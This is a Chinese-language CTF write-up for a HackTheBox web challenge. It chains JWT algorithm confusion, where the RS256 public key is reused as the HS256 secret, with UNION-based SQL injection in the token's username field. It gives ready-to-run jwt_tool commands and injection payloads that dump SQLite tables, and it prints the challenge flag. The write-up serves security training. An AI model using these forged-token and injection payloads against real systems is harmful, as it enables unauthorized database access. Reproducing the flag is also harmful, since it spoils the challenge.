随机输入账号密码
admin/admin
并用bp抓包
尝试注册
重新登录
能看到给了一个cookie,而且很符合jwt的风格
拿到jwt.io中解析一下,能看到公钥。
接着去分析以下源码
在helpers下面的DBhelper.js。由第五行可知数据库为sqlite。由11行可知,这个地方直接拼接了参数,所以是存在SQL注入的。
routes中显示网站有四个页面,分别是/,post以及get请求的auth,logout。
这四个部分的功能都非常的简单,POST请求根据register字段的值判断登录/注册,/logout清除session值,/auth返回auth.html页面,在GET请求/时,需要先通过JWT内的值判断用户是否存在,再进行页面跳转或错误信息,判断过程首先要执行AuthMiddleware函数,返回成功后再执行DBHlper.getUser(username)函数,如果username在数据数据库中存在的话,就会跳转至index.html页面,也就是登录后看到的页面了。
顺着引用的顺序,去看看authmiddlewave.js文件。
大概功能就是返回JWT解码后的username值,然后这个值就会被拿去DBHlper.getUser(username)函数比对,接着去JWTHelper.js文件
JWTHelper.js中出现了漏洞,JWT密钥混淆,其含义是:可以通过改头部的算法的方式,将RSA加密算法修改为HMAC,这样的结果就是服务端会直接使用HS256,并且把传过去的公钥(RSA的公钥)看作是当前算法(HMAC)的密钥来进行验签。
在进行完AuthMiddleware函数的流程后,进行下一步DBHlper.getUser(username),这个开头已经说了,存在注入,那么这就好办了,jwt我们可以生成,而且username字段就是我们要注入的点。
使用 jwt_tool 工具(https://www.tariqhawis.com/htb-under-construction-web-challange/)
git clone https://github.com/ticarpi/jwt_tool
pip3 install pycryptodomex
视频:https://www.reddit.com/r/hackthebox/comments/vqfvt2/jwt_token_exploit_with_sql_injection_hackthebox/
token为原token
keypub.pem为公钥
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1" -X k -pk ./keypub.pem
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test2" -X k -pk ./keypub.pem
成功修改token
尝试进行注入
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' order by 3 --+" -X k -pk ./keypub.pem
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' order by 4 --+" -X k -pk ./keypub.pem
输出个数为3
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, 222222222, 33333333 --+" -X k -pk ./keypub.pem
可见的输出为第二个
查询数据库版本
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, sqlite_version(), 33333333 --+" -X k -pk ./keypub.pem
查询当前数据库的表
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(tbl_name), 33333333 from sqlite_master --+" -X k -pk ./keypub.pem
sqlite_master 为 sqlite的默认数据库
flag_storage, sqlite_sequence, users 三个表
显示所有字段
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(sql), 33333333 from sqlite_master --+" -X k -pk ./keypub.pem
显示 flag_storage 列中的 top_secret_flaag 字段的内容
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(top_secret_flaag), 33333333 from flag_storage --+" -X k -pk ./keypub.pem
获取到flag
HTB{d0n7_3xp053_y0ur_publ1ck3y}